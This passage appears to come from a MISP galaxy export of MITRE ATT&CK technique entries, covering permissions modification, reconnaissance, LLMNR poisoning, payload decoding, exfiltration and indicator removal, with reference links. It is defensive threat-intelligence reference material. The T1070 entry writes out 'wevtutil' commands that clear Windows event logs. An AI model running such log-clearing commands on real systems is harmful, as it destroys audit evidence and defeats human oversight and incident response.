Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory’s existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files.

The tag is: misp-galaxy:mitre-attack-pattern="File and Directory Permissions Modification - T1222"

Table 2218. Table References
Links
https://attack.mitre.org/techniques/T1222
https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces
https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights
https://www.tutorialspoint.com/unix/unix-file-permission.htm
https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100
https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110
https://docs.microsoft.com/windows-server/administration/windows-commands/icacls
https://docs.microsoft.com/windows-server/administration/windows-commands/takeown
https://docs.microsoft.com/windows-server/administration/windows-commands/attrib
https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl
https://linux.die.net/man/1/chmod
https://linux.die.net/man/1/chown
https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/

Assess leadership areas of interest - T1224

Leadership assesses the areas of most interest to them and generates Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ). For example, an adversary knows from open and closed source reporting that cyber is of interest, resulting in it being a KIT. (Citation: ODNIIntegration)

The tag is: misp-galaxy:mitre-attack-pattern="Assess leadership areas of interest - T1224"

Table 2219. Table References
Links
https://attack.mitre.org/techniques/T1224

Determine 3rd party infrastructure services - T1284

A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available as 3rd party infrastructure services. These services could provide an adversary with another avenue of approach or compromise. (Citation: LUCKYCAT2012) (Citation: Schneier-cloud) (Citation: Computerworld-suppliers)

The tag is: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1284"

Determine 3rd party infrastructure services - T1284 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Determine 3rd party infrastructure services - T1260" with estimative-language:likelihood-probability="almost-certain"

Table 2220. Table References
Links
https://attack.mitre.org/techniques/T1284

Determine highest level tactical element - T1243

From a tactical viewpoint, an adversary could potentially have a primary and secondary level target. The primary target represents the highest level tactical element the adversary wishes to attack. For example, the corporate network within a corporation or the division within an agency. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Determine highest level tactical element - T1243"

Table 2221. Table References
Links
https://attack.mitre.org/techniques/T1243

Determine secondary level tactical element - T1244

The secondary level tactical element the adversary seeks to attack is the specific network or area of a network that is vulnerable to attack. Within the corporate network example, the secondary level tactical element might be a SQL server or a domain controller with a known vulnerability. (Citation: CyberAdversaryBehavior) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Determine secondary level tactical element - T1244"

Table 2222. Table References
Links
https://attack.mitre.org/techniques/T1244

Attack PC via USB Connection - T1427

With escalated privileges, an adversary could program the mobile device to impersonate USB devices such as input devices (keyboard and mouse), storage devices, and/or networking devices in order to attack a physically connected PC(Citation: Wang-ExploitingUSB)(Citation: ArsTechnica-PoisonTap) This technique has been demonstrated on Android. We are unaware of any demonstrations on iOS.

The tag is: misp-galaxy:mitre-attack-pattern="Attack PC via USB Connection - T1427"

Table 2223. Table References
Links
https://attack.mitre.org/techniques/T1427
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html
http://dl.acm.org/citation.cfm?id=1920314
http://arstechnica.com/security/2016/11/meet-poisontap-the-5-tool-that-ransacks-password-protected-computers/

Determine centralization of IT management - T1285

Determining if a "corporate" help desk exists, the degree of access and control it has, and whether there are "edge" units that may have different support processes and standards. (Citation: SANSCentratlizeManagement)

The tag is: misp-galaxy:mitre-attack-pattern="Determine centralization of IT management - T1285"

Table 2224. Table References
Links
https://attack.mitre.org/techniques/T1285

Determine external network trust dependencies - T1259

Network trusts enable communications between different networks with specific accesses and permissions. Network trusts could include the implementation of domain trusts or the use of virtual private networks (VPNs). (Citation: CuckoosEgg) (Citation: CuckoosEggWikipedia) (Citation: KGBComputerMe)

The tag is: misp-galaxy:mitre-attack-pattern="Determine external network trust dependencies - T1259"

Table 2225. Table References
Links
https://attack.mitre.org/techniques/T1259

Analyze organizational skillsets and deficiencies - T1297

Understanding organizational skillsets and deficiencies could provide insight in to weakness in defenses, or opportunities for exploitation. (Citation: FakeLinkedIn)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297"

Analyze organizational skillsets and deficiencies - T1297 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289" with estimative-language:likelihood-probability="almost-certain"

Table 2226. Table References
Links
https://attack.mitre.org/techniques/T1297

Analyze architecture and configuration posture - T1288

An adversary may analyze technical scanning results to identify weaknesses in the configuration or architecture of a victim network. These weaknesses could include architectural flaws, misconfigurations, or improper security controls. (Citation: FireEyeAPT28)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze architecture and configuration posture - T1288"

Table 2227. Table References
Links
https://attack.mitre.org/techniques/T1288

Analyze organizational skillsets and deficiencies - T1289

Analyze strengths and weaknesses of the target for potential areas of where to focus compromise efforts. (Citation: FakeLinkedIn)

The tag is: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1289"

Analyze organizational skillsets and deficiencies - T1289 has relationships with:

related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1297" with estimative-language:likelihood-probability="almost-certain"
related-to: misp-galaxy:mitre-attack-pattern="Analyze organizational skillsets and deficiencies - T1300" with estimative-language:likelihood-probability="almost-certain"

Table 2228. Table References
Links
https://attack.mitre.org/techniques/T1289

Leverage compromised 3rd party resources - T1375

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

The utilization of resources not owned by the adversary to launch exploits or operations. This includes utilizing equipment that was previously compromised or leveraging access gained by other methods (such as compromising an employee at a business partner location). (Citation: CitizenLabGreatCannon)

The tag is: misp-galaxy:mitre-attack-pattern="Leverage compromised 3rd party resources - T1375"

Table 2229. Table References
Links
https://attack.mitre.org/techniques/T1375

Procure required equipment and software - T1335

An adversary will require some physical hardware and software. They may only need a lightweight set-up if most of their activities will take place using on-line infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems. (Citation: NYTStuxnet)

The tag is: misp-galaxy:mitre-attack-pattern="Procure required equipment and software - T1335"

Table 2230. Table References
Links
https://attack.mitre.org/techniques/T1335

SSL certificate acquisition for domain - T1337

Certificates are designed to instill trust. They include information about the key, information about its owner’s identity, and the digital signature of an entity that has verified the certificate’s contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate with its owner. Acquiring a certificate for a domain name similar to one that is expected to be trusted may allow an adversary to trick a user in to trusting the domain (e.g., vvachovia instead of [Wachovia](https://www.wellsfargo.com/about/corporate/wachovia) — homoglyphs). (Citation: SubvertSSL) (Citation: PaypalScam)

The tag is: misp-galaxy:mitre-attack-pattern="SSL certificate acquisition for domain - T1337"

Table 2231. Table References
Links
https://attack.mitre.org/techniques/T1337

Confirmation of launched compromise achieved - T1383

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Upon successful compromise the adversary may implement methods for confirming success including communication to a command and control server, exfiltration of data, or a verifiable intended effect such as a publicly accessible resource being inaccessible or a web page being defaced. (Citation: FireEye Malware Stages) (Citation: APTNetworkTrafficAnalysis)

The tag is: misp-galaxy:mitre-attack-pattern="Confirmation of launched compromise achieved - T1383"

Table 2232. Table References
Links
https://attack.mitre.org/techniques/T1383

App Delivered via Email Attachment - T1434

The application is delivered as an email attachment.

Detection: An EMM/MDM or mobile threat protection solution can identify the presence of unwanted, known insecure, or malicious apps on devices. Enterprise email security solutions can identify the presence of Android or iOS application packages within email messages.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="App Delivered via Email Attachment - T1434"

App Delivered via Email Attachment - T1434 has relationships with:

revoked-by: misp-galaxy:mitre-attack-pattern="Deliver Malicious App via Other Means - T1476" with estimative-language:likelihood-probability="almost-certain"

Table 2233. Table References
Links
https://attack.mitre.org/techniques/T1434

Build and configure delivery systems - T1347

Delivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)

The tag is: misp-galaxy:mitre-attack-pattern="Build and configure delivery systems - T1347"

Table 2234. Table References
Links
https://attack.mitre.org/techniques/T1347

Automated system performs requested action - T1384

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Users may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)

The tag is: misp-galaxy:mitre-attack-pattern="Automated system performs requested action - T1384"

Table 2235. Table References
Links
https://attack.mitre.org/techniques/T1384

Eavesdrop on Insecure Network Communication - T1439

If network traffic between the mobile device and remote servers is unencrypted or is encrypted in an insecure manner, then an adversary positioned on the network can eavesdrop on communication.(Citation: mHealth)

The tag is: misp-galaxy:mitre-attack-pattern="Eavesdrop on Insecure Network Communication - T1439"

Table 2236. Table References
Links
https://attack.mitre.org/techniques/T1439
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-0.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-1.html
https://experts.illinois.edu/en/publications/security-concerns-in-android-mhealth-apps

Distribute malicious software development tools - T1394

An adversary could distribute malicious software development tools (e.g., compiler) that hide malicious behavior in software built using the tools. (Citation: PA XcodeGhost) (Citation: Reflections on Trusting Trust)

The tag is: misp-galaxy:mitre-attack-pattern="Distribute malicious software development tools - T1394"

Table 2237. Table References
Links
https://attack.mitre.org/techniques/T1394

Transfer Data to Cloud Account - T1537

An adversary may exfiltrate data by transferring the data, including backups of cloud environments, to another cloud account they control on the same service to avoid typical file transfers/downloads and network-based exfiltration detection.

A defender who is monitoring for large transfers to outside the cloud environment through normal file transfers or over command and control channels may not be watching for data transfers to another account within the same cloud provider. Such transfers may utilize existing cloud provider APIs and the internal address space of the cloud provider to blend into normal traffic or avoid data transfers over external network interfaces.

Incidents have been observed where adversaries have created backups of cloud instances and transferred them to separate accounts.(Citation: DOJ GRU Indictment Jul 2018)

The tag is: misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537"

Table 2238. Table References
Links
https://attack.mitre.org/techniques/T1537
https://www.justice.gov/file/1080281/download

Review logs and residual traces - T1358

Execution of code and network communications often result in logging or other system or network forensic artifacts. An adversary can run their code to identify what is recorded under different conditions. This may result in changes to their code or adding additional actions (such as deleting a record from a log) to the code. (Citation: EDB-39007) (Citation: infosec-covering-tracks)

The tag is: misp-galaxy:mitre-attack-pattern="Review logs and residual traces - T1358"

Table 2239. Table References
Links
https://attack.mitre.org/techniques/T1358

Runtime code download and execution - T1395

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Many mobile devices are configured to only allow applications to be installed from the mainstream vendor app stores (e.g., Apple App Store and Google Play Store). These app stores scan submitted applications for malicious behavior. However, applications can evade these scans by downloading and executing new code at runtime that was not included in the original application package. (Citation: Fruit vs Zombies) (Citation: Android Hax) (Citation: Execute This!) (Citation: HT Fake News App) (Citation: Anywhere Computing kill 2FA) (Citation: Android Security Review 2015)

The tag is: misp-galaxy:mitre-attack-pattern="Runtime code download and execution - T1395"

Table 2240. Table References
Links
https://attack.mitre.org/techniques/T1395

Test malware to evade detection - T1359

An adversary can run their code on systems with cyber security protections, such as antivirus products, in place to see if their code is detected. They can also test their malware on freely available public services. (Citation: MalwareQAZirtest)

The tag is: misp-galaxy:mitre-attack-pattern="Test malware to evade detection - T1359"

Table 2241. Table References
Links
https://attack.mitre.org/techniques/T1359

Replace legitimate binary with malware - T1378

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Replacing a legitimate binary with malware can be accomplished either by replacing a binary on a legitimate download site or standing up a fake or alternative site with the malicious binary. The intent is to have a user download and run the malicious binary thereby executing malware. (Citation: FSecureICS)

The tag is: misp-galaxy:mitre-attack-pattern="Replace legitimate binary with malware - T1378"

Table 2242. Table References
Links
https://attack.mitre.org/techniques/T1378

Compromise of externally facing system - T1388

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

Externally facing systems allow connections from outside the network as a normal course of operations. Externally facing systems may include, but are not limited to, websites, web portals, email, DNS, FTP, VPN concentrators, and boarder routers and firewalls. These systems could be in a demilitarized zone (DMZ) or may be within other parts of the internal environment. (Citation: CylanceOpCleaver) (Citation: DailyTechAntiSec)

The tag is: misp-galaxy:mitre-attack-pattern="Compromise of externally facing system - T1388"

Table 2243. Table References
Links
https://attack.mitre.org/techniques/T1388

Jamming or Denial of Service - T1464

An attacker could jam radio signals (e.g. Wi-Fi, cellular, GPS) to prevent the mobile device from communicating. (Citation: NIST-SP800187)(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)

The tag is: misp-galaxy:mitre-attack-pattern="Jamming or Denial of Service - T1464"

Table 2244. Table References
Links
https://attack.mitre.org/techniques/T1464
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html
https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html
http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf
https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/
https://www.nytimes.com/2007/11/04/technology/04jammer.html
https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/
https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/

Remotely Track Device Without Authorization - T1468

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple iCloud’s Find my iPhone) or to an enterprise mobility management (EMM) / mobile device management (MDM) server console could use that access to track mobile devices.(Citation: Krebs-Location)

The tag is: misp-galaxy:mitre-attack-pattern="Remotely Track Device Without Authorization - T1468"

Table 2245. Table References
Links
https://attack.mitre.org/techniques/T1468
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html
https://krebsonsecurity.com/2018/05/tracking-firm-locationsmart-leaked-location-data-for-customers-of-all-major-u-s-mobile-carriers-in-real-time-via-its-web-site/

Remotely Wipe Data Without Authorization - T1469

An adversary who is able to obtain unauthorized access to or misuse authorized access to cloud services (e.g. Google’s Android Device Manager or Apple iCloud’s Find my iPhone) or to an EMM console could use that access to wipe enrolled devices (Citation: Honan-Hacking).

The tag is: misp-galaxy:mitre-attack-pattern="Remotely Wipe Data Without Authorization - T1469"

Table 2246. Table References
Links
https://attack.mitre.org/techniques/T1469
https://pages.nist.gov/mobile-threat-catalogue/ecosystem-threats/ECO-5.html
https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-7.html
https://www.wired.com/2012/08/apple-amazon-mat-honan-hacking/

Install Insecure or Malicious Configuration - T1478

An adversary could attempt to install insecure or malicious configuration settings on the mobile device, through means such as phishing emails or text messages either directly containing the configuration settings as an attachment, or containing a web link to the configuration settings. The device user may be tricked into installing the configuration settings through social engineering techniques (Citation: Symantec-iOSProfile).

For example, an unwanted Certification Authority (CA) certificate could be placed in the device’s trusted certificate store, increasing the device’s susceptibility to man-in-the-middle network attacks seeking to eavesdrop on or manipulate the device’s network communication ([Eavesdrop on Insecure Network Communication](https://attack.mitre.org/techniques/T1439) and [Manipulate Device Communication](https://attack.mitre.org/techniques/T1463)).

On iOS, malicious Configuration Profiles could contain unwanted Certification Authority (CA) certificates or other insecure settings such as unwanted proxy server or VPN settings to route the device’s network traffic through an adversary’s system. The device could also potentially be enrolled into a malicious Mobile Device Management (MDM) system (Citation: Talos-MDM).

The tag is: misp-galaxy:mitre-attack-pattern="Install Insecure or Malicious Configuration - T1478"

Table 2247. Table References
Links
https://attack.mitre.org/techniques/T1478
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-7.html
https://www.symantec.com/connect/blogs/malicious-profiles-sleeping-giant-ios-security
https://blog.talosintelligence.com/2018/07/Mobile-Malware-Campaign-uses-Malicious-MDM.html

Aggregate individual’s digital footprint - T1275

In addition to a target’s social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target’s username can mine to determine the target’s larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)

The tag is: misp-galaxy:mitre-attack-pattern="Aggregate individual’s digital footprint - T1275"

Table 2248. Table References
Links
https://attack.mitre.org/techniques/T1275

Domain Generation Algorithms (DGA) - T1323

The use of algorithms in malware to periodically generate a large number of domain names which function as rendezvous points for malware command and control servers. (Citation: DamballaDGA) (Citation: DambballaDGACyberCriminals)

The tag is: misp-galaxy:mitre-attack-pattern="Domain Generation Algorithms (DGA) - T1323"

Table 2249. Table References
Links
https://attack.mitre.org/techniques/T1323

Unconditional client-side exploitation/Injected Website/Driveby - T1372

This technique has been deprecated. Please see ATT&CK’s Initial Access and Execution tactics for replacement techniques.

A technique used to compromise victims wherein the victims visit a compromised website that redirects their browser to a malicious web site, such as an exploit kit’s landing page. The exploit kit landing page will probe the victim’s operating system, web browser, or other software to find an exploitable vulnerability to infect the victim. (Citation: GeorgeDriveBy) (Citation: BellDriveBy)

The tag is: misp-galaxy:mitre-attack-pattern="Unconditional client-side exploitation/Injected Website/Driveby - T1372"

Table 2250. Table References
Links
https://attack.mitre.org/techniques/T1372

LLMNR/NBT-NS Poisoning and Relay - T1171

Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)

Adversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)

Several tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)

The tag is: misp-galaxy:mitre-attack-pattern="LLMNR/NBT-NS Poisoning and Relay - T1171"

Table 2251. Table References
Links
https://attack.mitre.org/techniques/T1171
https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution
https://technet.microsoft.com/library/cc958811.aspx
https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html
https://github.com/nomex/nbnspoof
https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response
https://github.com/SpiderLabs/Responder
https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning
https://github.com/Kevin-Robertson/Conveigh

OS-vendor provided communication channels - T1390

Google and Apple provide Google Cloud Messaging and Apple Push Notification Service, respectively, services designed to enable efficient communication between third-party mobile app backend servers and the mobile apps running on individual devices. These services maintain an encrypted connection between every mobile device and Google or Apple that cannot easily be inspected and must be allowed to traverse networks as part of normal device operation. These services could be used by adversaries for communication to compromised mobile devices. (Citation: Securelist Mobile Malware 2013) (Citation: DroydSeuss)

The tag is: misp-galaxy:mitre-attack-pattern="OS-vendor provided communication channels - T1390"

Table 2252. Table References
Links
https://attack.mitre.org/techniques/T1390

Standard Non-Application Layer Protocol - T1095

Use of a standard non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive. (Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).

ICMP communication between hosts is one example. Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.

The tag is: misp-galaxy:mitre-attack-pattern="Standard Non-Application Layer Protocol - T1095"

Table 2253. Table References
Links
https://attack.mitre.org/techniques/T1095
http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29
http://support.microsoft.com/KB/170292
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Rogue Wi-Fi Access Points - T1465

An adversary could set up unauthorized Wi-Fi access points or compromise existing access points and, if the device connects to them, carry out network-based attacks such as eavesdropping on or modifying network communication(Citation: NIST-SP800153)(Citation: Kaspersky-DarkHotel).

The tag is: misp-galaxy:mitre-attack-pattern="Rogue Wi-Fi Access Points - T1465"

Table 2254. Table References
Links
https://attack.mitre.org/techniques/T1465
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-0.html
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-153.pdf
https://blog.kaspersky.com/darkhotel-apt/6613/

Deobfuscate/Decode Files or Information - T1140

Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system.

One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia)

Another example is using the Windows <code>copy /b</code> command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016)

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user’s action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript.

The tag is: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"

Table 2255. Table References
Links
https://attack.mitre.org/techniques/T1140
https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/
https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/
https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/

Obtain domain/IP registration information - T1251

For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)

The tag is: misp-galaxy:mitre-attack-pattern="Obtain domain/IP registration information - T1251"

Table 2256. Table References
Links
https://attack.mitre.org/techniques/T1251

Assign KITs/KIQs into categories - T1228

Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)

The tag is: misp-galaxy:mitre-attack-pattern="Assign KITs/KIQs into categories - T1228"

Table 2257. Table References
Links
https://attack.mitre.org/techniques/T1228

Receive operator KITs/KIQs tasking - T1235

Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)

The tag is: misp-galaxy:mitre-attack-pattern="Receive operator KITs/KIQs tasking - T1235"

Table 2258. Table References
Links
https://attack.mitre.org/techniques/T1235

Data Transfer Size Limits - T1030

An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.

The tag is: misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"

Table 2259. Table References
Links
https://attack.mitre.org/techniques/T1030
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

Data from Local System - T1005

Sensitive data can be collected from local system sources, such as the file system or databases of information residing on the system prior to Exfiltration.

Adversaries will often search the file system on computers they have compromised to find files of interest. They may do this using a [Command-Line Interface](https://attack.mitre.org/techniques/T1059), such as [cmd](https://attack.mitre.org/software/S0106), which has functionality to interact with the file system to gather information. Some adversaries may also use [Automated Collection](https://attack.mitre.org/techniques/T1119) on the local system.

The tag is: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"

Table 2260. Table References
Links
https://attack.mitre.org/techniques/T1005

File System Logical Offsets - T1006

Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)

Utilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)

The tag is: misp-galaxy:mitre-attack-pattern="File System Logical Offsets - T1006"

Table 2261. Table References
Links
https://attack.mitre.org/techniques/T1006
http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1

Indicator Removal on Host - T1070

Adversaries may delete or alter generated artifacts on a host system, including logs and potentially captured files such as quarantined malware. Locations and format of logs will vary, but typical organic system logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) and /var/log/* .

Actions that interfere with eventing and other notifications that can be used to detect intrusion activity may compromise the integrity of security solutions, causing events to go unreported. They may also make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.

Clear Windows Event Logs

Windows event logs are a record of a computer’s alerts and notifications. Microsoft defines an event as "any significant occurrence in the system or in a program that requires users to be notified or an entry added to a log." There are three system-defined sources of Events: System, Application, and Security.

Adversaries performing actions related to account management, account logon and directory service access, etc. may choose to clear the events in order to hide their activities.

The event logs can be cleared with the following utility commands:

<code>wevtutil cl system</code>
<code>wevtutil cl application</code>
<code>wevtutil cl security</code>

Logs may also be cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086).

The tag is: misp-galaxy:mitre-attack-pattern="Indicator Removal on Host - T1070"

Table 2262. Table References
Links
https://attack.mitre.org/techniques/T1070
https://capec.mitre.org/data/definitions/93.html
https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil
https://msdn.microsoft.com/library/system.diagnostics.eventlog.clear.aspx
https://docs.microsoft.com/powershell/module/microsoft.powershell.management/clear-eventlog

Exploitation of Remote Services - T1210

Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.

An adversary may need to determine if the remote system is in a vulnerable state, which may be done through [Network Service Scanning](https://attack.mitre.org/techniques/T1046) or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.

There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services. (Citation: NVD CVE-2014-7169)

Depending on the permissions level of the vulnerable remote service an adversary may achieve [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068) as a result of lateral movement exploitation as well.

The tag is: misp-galaxy:mitre-attack-pattern="Exploitation of Remote Services - T1210"

Table 2263. Table References
Links
https://attack.mitre.org/techniques/T1210
